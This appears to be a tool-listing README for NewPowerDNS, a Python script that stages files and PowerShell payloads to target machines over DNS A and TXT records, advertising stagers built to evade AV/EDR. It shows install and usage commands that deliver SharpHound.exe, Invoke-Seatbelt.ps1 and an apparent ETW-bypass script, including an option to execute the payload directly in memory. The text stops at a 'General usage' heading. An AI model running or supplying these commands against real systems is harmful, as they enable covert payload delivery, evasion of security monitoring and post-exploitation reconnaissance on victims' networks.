NewPowerDNS

NewPowerDNS is an updated version of @domchell's PowerDNS. The main feature added is support for transferring files using DNS A records. See below for a complete list of the modifications made:

  • Support for transfer over DNS A records
  • Gzip compression to reduce file transfer size
  • Support for transferring all types of files
  • New stagers that can be easily obfuscated or ran line-by-line to evade being blocked by AV/EDR
  • Options to print, exec, or save transferred file
  • Update to python3 from python2

The only dependency besides python3 is scapy. It can easily be installed via pip like so:

root@kitploit:~
python3 -m pip install scapy

See below for a video demonstrating transferring files over both DNS A and TXT records:

Examples & Usage

Transfer powershell script over DNS A records and print to console:

root@kitploit:~
python3 NewPowerDNS.py --file AmSeeETWBP.ps1 --domain sub.domain.com -r A -a print

Transfer exe file over DNS TXT records and save to disk:

root@kitploit:~
python3 NewPowerDNS.py --file SharpHound.exe --domain sub.domain.com -r TXT -a save

Transfer powershell script over DNS TXT records and automatically load into memory:

root@kitploit:~
python3 NewPowerDNS.py --file Invoke-Seatbelt.ps1 --domain sub.domain.com -r TXT -a exec

General usage:

root@kitploit:~
